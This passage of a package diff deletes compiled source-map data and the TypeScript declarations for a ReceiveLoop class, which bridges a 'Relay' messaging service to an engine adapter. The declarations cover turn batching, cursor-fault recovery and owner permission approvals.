ACvB,OAAO,CAAC,kDAAkD,EAAE,EAAE,CAAC;SAC/D,OAAO,CAAC,wDAAwD,EAAE,EAAE,CAAC;SACrE,IAAI,EAAE,CAAC;IACV,IAAI,OAAO,CAAC,MAAM,GAAG,4BAA4B,EAAE,CAAC;QAClD,MAAM,IAAI,6BAA6B,CAAC,OAAO,CAAC,MAAM,CAAC,CAAC;IAC1D,CAAC;IACD,OAAO,OAAO,CAAC;AACjB,CAAC;AAYD,MAAM,UAAU,mBAAmB,CAAC,KAA0B;IAO5D,MAAM,QAAQ,GAAG,mBAAmB,CAAC,KAAK,CAAC,QAAQ,IAAI,EAAE,EAAE,GAAG,CAAC,IAAI,QAAQ,CAAC;IAC5E,MAAM,WAAW,GAAG,mBAAmB,CAAC,KAAK,CAAC,WAAW,IAAI,EAAE,EAAE,qBAAqB,CAAC,CAAC;IACxF,MAAM,YAAY,GAAG,yBAAyB,CAAC,KAAK,CAAC,YAAY,IAAI,EAAE,CAAC,CAAC;IACzE,MAAM,EAAE,GAAG,KAAK,CAAC,SAAS,CAAC;IAE3B,MAAM,KAAK,GAAG;QACZ,GAAG,KAAK,CAAC,WAAW,iBAAiB,QAAQ,GAAG,WAAW,CAAC,CAAC,CAAC,KAAK,WAAW,EAAE,CAAC,CAAC,CAAC,EAAE,EAAE;KACxF,CAAC;IACF,IAAI,YAAY,CAAC,MAAM,GAAG,CAAC;QAAE,KAAK,CAAC,IAAI,CAAC,EAAE,EAAE,YAAY,CAAC,CAAC;IAC1D,KAAK,CAAC,IAAI,CAAC,EAAE,EAAE,cAAc,EAAE,qBAAqB,EAAE,YAAY,CAAC,CAAC;IAEpE,OAAO;QACL,IAAI,EAAE;YACJ,eAAe,EAAE,KAAK,CAAC,cAAc;YACrC,KAAK,EAAE;gBACL,EAAE,IAAI,EAAE,MAAM,EAAE,IAAI,EAAE,KAAK,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE;gBACxC;oBACE,IAAI,EAAE,MAAM;oBACZ,IAAI,EAAE;wBACJ,IAAI,EAAE,oBAAoB;wBAC1B,UAAU,EAAE,EAAE;wBACd,SAAS,EAAE,QAAQ;wBACnB,WAAW;wBACX,aAAa,EAAE,YAAY;wBAC3B,OAAO,EAAE;4BACP,EAAE,EAAE,EAAE,OAAO,EAAE,KAAK,EAAE,OAAO,EAAE,MAAM,EAAE,EAAE,IAAI,EAAE,oBAAoB,EAAE,UAAU,EAAE,EAAE,EAAE,EAAE;4BACvF,EAAE,EAAE,EAAE,MAAM,EAAE,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,EAAE,IAAI,EAAE,oBAAoB,EAAE,UAAU,EAAE,EAAE,EAAE,EAAE;yBACtF;qBACF;iBACF;aACF;SACF;QACD,cAAc,EAAE,cAAc,EAAE,EAAE;KACnC,CAAC;AACJ,CAAC;AAED,sEAAsE;AACtE,MAAM,UAAU,kBAAkB,CAChC,QAAyB,EACzB,QAA0B;IAE1B,MAAM,MAAM,GAAG,QAAQ,KAAK,OAAO,CAAC,CAAC,CAAC,OAAO,CAAC,CAAC,CAAC,QAAQ,CAAC;IACzD,MAAM,KAAK,GAAG,QAAQ,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC,MAAM,EAAE,EAAE,CAAC,MAAM,CAAC,IAAI,KAAK,GAAG,MAAM,OAAO,CAAC,CAAC;IAClF,MAAM,KAAK,GAAG,QAAQ,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC,MAAM,EAAE,EAAE,CAAC,MAAM,CAAC,IAAI,EAAE,UAAU,CAAC,MAAM,CAAC,CAAC,CAAC;IACjF,MAAM,MAAM,GAAG,KAAK,IAAI,KAAK,CAAC;IAC9B,IAAI,MAAM;QAAE,OAAO,EAAE,QAAQ,EAAE,UAAU,EAAE,QAAQ,EAAE,MAAM,CAAC,SAAS,EAAE,CAAC;IACxE,OAAO,QAAQ,KAAK,OAAO,IAAI,QAAQ,CAAC,OAAO,CAAC,CAAC,CAAC;QAChD,CAAC,CAAC,EAAE,QAAQ,EAAE,UAAU,EAAE,QAAQ,EAAE,QAAQ,CAAC,OAAO,CAAC,CAAC,CAAC,CAAC,SAAS,EAAE;QACnE,CAAC,CAAC,EAAE,QAAQ,EAAE,WAAW,EAAE,CAAC;AAChC,CAAC;AAED,MAAM,UAAU,YAAY,CAAC,QAAyB;IACpD,OAAO,kBAAkB,CAAC,QAAQ,EAAE,MAAM,CAAC,CAAC;AAC9C,CAAC;AAQD,MAAM,OAAO,gBAAgB;IAIR,MAAM;IACN,SAAS;IACT,SAAS;IACT,GAAG;IANL,OAAO,GAAG,IAAI,GAAG,EAAkB,CAAC;IAErD,YACmB,MAAmB,EACnB,SAAwB,EACxB,SAAS,GAAG,mBAAmB,EAC/B,GAAG,GAA2B,GAAG,EAAE,GAAE,CAAC;sBAHtC,MAAM;yBACN,SAAS;yBACT,SAAS;mBACT,GAAG;IACnB,CAAC;IAEJ;;;;OAIG;IACH,KAAK,CAAC,GAAG,GAAG,IAAI,CAAC,GAAG,EAAE;QACpB,KAAK,MAAM,SAAS,IAAI,IAAI,CAAC,SAAS,CAAC,KAAK,CAAC,GAAG,CAAC,EAAE,CAAC;YAClD,IAAI,CAAC,GAAG,CAAC,+BAA+B,SAAS,EAAE,CAAC,CAAC;QACvD,CAAC;IACH,CAAC;IAED;;;;OAIG;IACH,YAAY,CAAC,OAAqB;QAChC,MAAM,OAAO,GAAG,kBAAkB,CAAC,OAAO,CAAC,CAAC;QAC5C,IAAI,CAAC,OAAO;YAAE,OAAO,KAAK,CAAC;QAC3B,MAAM,QAAQ,GAAG,IAAI,CAAC,SAAS,CAAC,GAAG,CAAC,OAAO,CAAC,UAAU,CAAC,CAAC;QACxD,IAAI,CAAC,QAAQ,IAAI,QAAQ,CAAC,UAAU,EAAE,CAAC;YACrC,qEAAqE;YACrE,iCAAiC;YACjC,OAAO,IAAI,CAAC;QACd,CAAC;QACD,8DAA8D;QAC9D,IAAI,QAAQ,CAAC,eAAe,KAAK,OAAO,CAAC,eAAe,EAAE,CAAC;YACzD,IAAI,CAAC,GAAG,CACN,eAAe,OAAO,CAAC,UAAU,2BAA2B;gBAC1D,GAAG,OAAO,CAAC,eAAe,cAAc,QAAQ,CAAC,eAAe,YAAY,CAC/E,CAAC;YACF,OAAO,IAAI,CAAC;QACd,CAAC;QACD,MAAM,MAAM,GAAG,IAAI,CAAC,OAAO,CAAC,GAAG,CAAC,OAAO,CAAC,UAAU,CAAC,CAAC;QACpD,IAAI,MAAM,EAAE,CAAC;YACX,wDAAwD;YACxD,YAAY,CAAC,MAAM,CAAC,KAAK,CAAC,CAAC;YAC3B,IAAI,CAAC,OAAO,CAAC,MAAM,CAAC,OAAO,CAAC,UAAU,CAAC,CAAC;YACxC,IAAI,CAAC,SAAS,CAAC,OAAO,CAAC,OAAO,CAAC,UAAU,CAAC,CAAC;YAC3C,MAAM,CAAC,OAAO,CAAC,kBAAkB,CAAC,QAAQ,EAAE,OAAO,CAAC,QAAQ,CAAC,CAAC,CAAC;QACjE,CAAC;aAAM,CAAC;YACN,sEAAsE;YACtE,qEAAqE;YACrE,QAAQ,CAAC,UAAU,GAAG,EAAE,QAAQ,EAAE,OAAO,CAAC,QAAQ,EAAE,UAAU,EAAE,IAAI,IAAI,EAAE,CAAC,WAAW,EAAE,EAAE,CAAC;YAC3F,IAAI,CAAC,SAAS,CAAC,GAAG,CAAC,QAAQ,CAAC,CAAC;QAC/B,CAAC;QACD,IAAI,CAAC,GAAG,CAAC,YAAY,OAAO,CAAC,UAAU,cAAc,OAAO,CAAC,QAAQ,EAAE,CAAC,CAAC;QACzE,OAAO,IAAI,CAAC;IACd,CAAC;IAED;;;;OAIG;IACH,aAAa,CAAC,QAAuB;QACnC,OAAO,YAAY,CAAC;YAClB,UAAU,EAAE,QAAQ,CAAC,SAAS;YAC9B,eAAe,EAAE,EAAE;YACnB,UAAU,EAAE,IAAI,IAAI,EAAE,CAAC,WAAW,EAAE;YACpC,WAAW,EAAE,IAAI,IAAI,EAAE,CAAC,WAAW,EAAE;YACrC,OAAO,EAAE,QAAQ,CAAC,OAAO,CAAC,GAAG,CAAC,CAAC,MAAM,EAAE,EAAE,CAAC,CAAC;gBACzC,SAAS,EAAE,MAAM,CAAC,QAAQ;gBAC1B,KAAK,EAAE,MAAM,CAAC,KAAK;gBACnB,IAAI,EAAE,MAAM,CAAC,IAAI;aAClB,CAAC,CAAC;YACH,MAAM,EAAE,KAAK;SACd,CAAC,CAAC;IACL,CAAC;IAED,yDAAyD;IACzD,KAAK,CAAC,GAAG,CACP,cAAsB,EACtB,QAAuB,EACvB,MAAc;QAEd,MAAM,SAAS,GAAG,YAAY,EAAE,CAAC;QACjC,MAAM,QAAQ,GAAoB;YAChC,UAAU,EAAE,SAAS;YACrB,eAAe,EAAE,cAAc;YAC/B,MAAM;YACN,SAAS,EAAE,QAAQ,CAAC,QAAQ;YAC5B,UAAU,EAAE,IAAI,IAAI,EAAE,CAAC,WAAW,EAAE;YACpC,WAAW,EAAE,IAAI,IAAI,CAAC,IAAI,CAAC,GAAG,EAAE,GAAG,IAAI,CAAC,SAAS,CAAC,CAAC,WAAW,EAAE;YAChE,OAAO,EAAE,QAAQ,CAAC,OAAO,CAAC,GAAG,CAAC,CAAC,MAAM,EAAE,EAAE,CAAC,CAAC;gBACzC,SAAS,EAAE,MAAM,CAAC,QAAQ;gBAC1B,KAAK,EAAE,MAAM,CAAC,KAAK;gBACnB,IAAI,EAAE,MAAM,CAAC,IAAI;aAClB,CAAC,CAAC;YACH,MAAM,EAAE,KAAK;SACd,CAAC;QACF,IAAI,QAAQ,CAAC,aAAa,KAAK,KAAK,EAAE,CAAC;YACrC,IAAI,CAAC,GAAG,CAAC,YAAY,SAAS,mDAAmD,CAAC,CAAC;YACnF,OAAO,YAAY,CAAC,QAAQ,CAAC,CAAC;QAChC,CAAC;QACD,IAAI,IAA4C,CAAC;QACjD,IAAI,CAAC;YACH,IAAI,GAAG,mBAAmB,CAAC;gBACzB,SAAS;gBACT,cAAc;gBACd,WAAW,EAAE,iBAAiB,CAAC,MAAM,CAAC;gBACtC,QAAQ,EAAE,QAAQ,CAAC,QAAQ;gBAC3B,WAAW,EAAE,QAAQ,CAAC,KAAK;gBAC3B,YAAY,EAAE,QAAQ,CAAC,YAAY;aACpC,CAAC,CAAC;QACL,CAAC;QAAC,OAAO,KAAK,EAAE,CAAC;YACf,oEAAoE;YACpE,IAAI,CAAC,GAAG,CAAC,YAAY,SAAS,2BAA2B,KAAK,EAAE,CAAC,CAAC;YAClE,OAAO,YAAY,CAAC,QAAQ,CAAC,CAAC;QAChC,CAAC;QAED,kDAAkD;QAClD,IAAI,CAAC,SAAS,CAAC,MAAM,CAAC,QAAQ,CAAC,CAAC;QAEhC,0EAA0E;QAC1E,oEAAoE;QACpE,oEAAoE;QACpE,wEAAwE;QACxE,MAAM,QAAQ,GAAG,IAAI,OAAO,CAAqB,CAAC,OAAO,EAAE,EAAE;YAC3D,MAAM,KAAK,GAAG,UAAU,CAAC,GAAG,EAAE;gBAC5B,IAAI,CAAC,OAAO,CAAC,MAAM,CAAC,SAAS,CAAC,CAAC;gBAC/B,IAAI,CAAC,SAAS,CAAC,OAAO,CAAC,SAAS,CAAC,CAAC;gBAClC,IAAI,CAAC,GAAG,CAAC,YAAY,SAAS,mBAAmB,CAAC,CAAC;gBACnD,OAAO,CAAC,YAAY,CAAC,QAAQ,CAAC,CAAC,CAAC;YAClC,CAAC,EAAE,IAAI,CAAC,SAAS,CAAC,CAAC;YACnB,kEAAkE;YAClE,kEAAkE;YAClE,IAAI,CAAC,OAAO,CAAC,GAAG,CAAC,SAAS,EAAE,EAAE,QAAQ,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC,CAAC;QAC5D,CAAC,CAAC,CAAC;QAEH,IAAI,CAAC;YACH,MAAM,MAAM,GAAG,MAAM,IAAI,CAAC,MAAM,CAAC,WAAW,CAAC,IAAI,CAAC,IAAI,EAAE,IAAI,CAAC,cAAc,CAAC,CAAC;YAC7E,uEAAuE;YACvE,uEAAuE;YACvE,uEAAuE;YACvE,MAAM,WAAW,GAAG,MAAM,CAAC,QAAQ,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC;YAC3C,IAAI,IAAI,CAAC,OAAO,CAAC,GAAG,CAAC,SAAS,CAAC,IAAI,WAAW,EAAE,CAAC;gBAC/C,QAAQ,CAAC,gBAAgB,GAAG,WAAW,CAAC,EAAE,CAAC;gBAC3C,IAAI,CAAC,SAAS,CAAC,GAAG,CAAC,QAAQ,CAAC,CAAC;YAC/B,CAAC;QACH,CAAC;QAAC,OAAO,KAAK,EAAE,CAAC;YACf,2DAA2D;YAC3D,MAAM,MAAM,GAAG,IAAI,CAAC,OAAO,CAAC,GAAG,CAAC,SAAS,CAAC,CAAC;YAC3C,IAAI,MAAM,EAAE,CAAC;gBACX,YAAY,CAAC,MAAM,CAAC,KAAK,CAAC,CAAC;gBAC3B,IAAI,CAAC,OAAO,CAAC,MAAM,CAAC,SAAS,CAAC,CAAC;gBAC/B,IAAI,CAAC,SAAS,CAAC,OAAO,CAAC,SAAS,CAAC,CAAC;gBAClC,IAAI,CAAC,GAAG,CAAC,YAAY,SAAS,6BAA6B,KAAK,EAAE,CAAC,CAAC;gBACpE,MAAM,CAAC,OAAO,CAAC,YAAY,CAAC,QAAQ,CAAC,CAAC,CAAC;YACzC,CAAC;QACH,CAAC;QAED,OAAO,MAAM,QAAQ,CAAC;IACxB,CAAC;CACF"}
|
package/dist/receive.d.ts
DELETED
|
@@ -1,113 +0,0 @@
|
|
|
1
|
-
import { type RelayClient } from "./api.js";
|
|
2
|
-
import type { RelayEvent, RelayMessage, StateStore } from "./store.js";
|
|
3
|
-
import type { EngineAdapter } from "./engine/types.js";
|
|
4
|
-
import { PermissionBroker } from "./permissions.js";
|
|
5
|
-
export interface ReceiveLoopOptions {
|
|
6
|
-
/** Pinned Relay user id allowed to drive this bridge (required). */
|
|
7
|
-
ownerUserId: string;
|
|
8
|
-
debounceMs?: number;
|
|
9
|
-
cwd?: string;
|
|
10
|
-
log?: (line: string) => void;
|
|
11
|
-
/** Injected for tests. */
|
|
12
|
-
setTimeoutImpl?: typeof setTimeout;
|
|
13
|
-
}
|
|
14
|
-
export declare function turnIdempotencyKey(conversationId: string, eventIds: string[]): string;
|
|
15
|
-
/**
|
|
16
|
-
* Group events carry `data.invocation_id`; direct events do not. Its presence
|
|
17
|
-
* is how the bridge tells the two apart, and the id is required on every
|
|
18
|
-
* outbound call for that turn.
|
|
19
|
-
*/
|
|
20
|
-
export declare function invocationIdForEvent(event: RelayEvent | undefined): string | undefined;
|
|
21
|
-
/**
|
|
22
|
-
* The batch a single turn may consume. Direct conversations coalesce a burst
|
|
23
|
-
* into one turn as before. A group invocation is single-use server-side (one
|
|
24
|
-
* message completes it), so a group turn is capped at the oldest invocation
|
|
25
|
-
* and later invocations stay queued for their own turns and their own replies.
|
|
26
|
-
*/
|
|
27
|
-
export declare function batchForTurn(queue: RelayEvent[]): RelayEvent[];
|
|
28
|
-
/**
|
|
29
|
-
* Relay's undelivered-cursor fault names its own recovery target in
|
|
30
|
-
* `error.details`: `highest_delivered_cursor` for a cursor the ledger never
|
|
31
|
-
* handed out, `latest_sequence` for one past the agent's newest event. A
|
|
32
|
-
* recovery only ever lowers the cursor. Raising it would acknowledge, and let
|
|
33
|
-
* the retention sweep delete, events this bridge has never read.
|
|
34
|
-
*/
|
|
35
|
-
export declare function undeliveredCursorTarget(error: {
|
|
36
|
-
status?: number;
|
|
37
|
-
details?: Record<string, unknown>;
|
|
38
|
-
}, cursor: number): number | undefined;
|
|
39
|
-
export declare function promptTextFromMessages(messages: RelayMessage[]): string;
|
|
40
|
-
export declare class ReceiveLoop {
|
|
41
|
-
private readonly client;
|
|
42
|
-
private readonly state;
|
|
43
|
-
private readonly engine;
|
|
44
|
-
readonly broker: PermissionBroker;
|
|
45
|
-
private readonly ownerUserId;
|
|
46
|
-
private readonly debounceMs;
|
|
47
|
-
private readonly cwd;
|
|
48
|
-
private readonly log;
|
|
49
|
-
private readonly setTimeoutImpl;
|
|
50
|
-
private readonly debounceTimers;
|
|
51
|
-
/** Serializes turns per conversation. */
|
|
52
|
-
private readonly turnChains;
|
|
53
|
-
private stopped;
|
|
54
|
-
constructor(client: RelayClient, state: StateStore, engine: EngineAdapter, broker: PermissionBroker, options: ReceiveLoopOptions);
|
|
55
|
-
/**
|
|
56
|
-
* One poll cycle: fetch, dedupe, durably enqueue + ack, schedule flushes.
|
|
57
|
-
* Exposed for tests; `run()` supervises it forever.
|
|
58
|
-
*/
|
|
59
|
-
pollOnce(timeoutS?: number): Promise<number>;
|
|
60
|
-
/**
|
|
61
|
-
* A turn snapshots its batch at start, so a message that lands while the
|
|
62
|
-
* turn runs cannot advance that turn's /responding watermark and would sit
|
|
63
|
-
* at "Delivered" until its own turn — after the reply, plus another
|
|
64
|
-
* debounce. Mark the queue head read now instead. /read is the receipt
|
|
65
|
-
* without /responding's typing side effect, so the running turn's tool
|
|
66
|
-
* label survives. Best-effort: the next turn's /responding still covers
|
|
67
|
-
* the same watermark durably, so a failure here only delays the receipt.
|
|
68
|
-
*/
|
|
69
|
-
private ackQueuedBehindTurn;
|
|
70
|
-
/**
|
|
71
|
-
* Read the canonical record after a cursor fault. Conversation history is
|
|
72
|
-
* Relay's documented recovery path: the event log can no longer say what
|
|
73
|
-
* moved, so the bridge names the head of every conversation it can still
|
|
74
|
-
* see. Nothing is replayed into the engine and nothing is invented for the
|
|
75
|
-
* events Relay deleted.
|
|
76
|
-
*/
|
|
77
|
-
private reconcileHistory;
|
|
78
|
-
/**
|
|
79
|
-
* Apply Relay's cursor-fault contract. Both faults are permanent for the
|
|
80
|
-
* cursor that produced them, so neither may fall through to the generic
|
|
81
|
-
* retry: an undelivered cursor resumes from the ledger position Relay
|
|
82
|
-
* reports. For an expired cursor, the bridge first reads canonical history,
|
|
83
|
-
* then explicitly confirms that reconciliation so Relay can advance only
|
|
84
|
-
* across the proven retention gap.
|
|
85
|
-
*/
|
|
86
|
-
private recoverFromCursorFault;
|
|
87
|
-
/** Returns the conversation id when the event was enqueued for the engine. */
|
|
88
|
-
private routeEvent;
|
|
89
|
-
private scheduleFlush;
|
|
90
|
-
private chainTurn;
|
|
91
|
-
/** Waits for in-flight turns (tests + graceful shutdown). */
|
|
92
|
-
settle(): Promise<void>;
|
|
93
|
-
/** Removes THIS turn's consumed events (and its attempt marker) durably. */
|
|
94
|
-
private clearBatch;
|
|
95
|
-
private postNotice;
|
|
96
|
-
private pendingReplyForConversation;
|
|
97
|
-
/** Idempotently deliver an engine-completed reply without rerunning tools. */
|
|
98
|
-
private deliverPendingReply;
|
|
99
|
-
runTurn(conversationId: string): Promise<void>;
|
|
100
|
-
/**
|
|
101
|
-
* Route an approval card. A group invocation is spent by the single reply it
|
|
102
|
-
* owes, so a card posted into the group would consume it and leave the turn
|
|
103
|
-
* unable to answer. Group approvals therefore go to the owner's direct
|
|
104
|
-
* conversation with this agent, and deny when there is no such conversation
|
|
105
|
-
* to ask in.
|
|
106
|
-
*/
|
|
107
|
-
private askPermission;
|
|
108
|
-
private startTyping;
|
|
109
|
-
stop(): void;
|
|
110
|
-
/** Supervisor: restart the poll loop on failure with capped backoff + jitter. */
|
|
111
|
-
run(): Promise<void>;
|
|
112
|
-
}
|
|
113
|
-
//# sourceMappingURL=receive.d.ts.map
|
package/dist/receive.d.ts.map
DELETED
|
@@ -1 +0,0 @@
|
|
|
1
|
-
{"version":3,"file":"receive.d.ts","sourceRoot":"","sources":["../src/receive.ts"],"names":[],"mappings":"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"}
|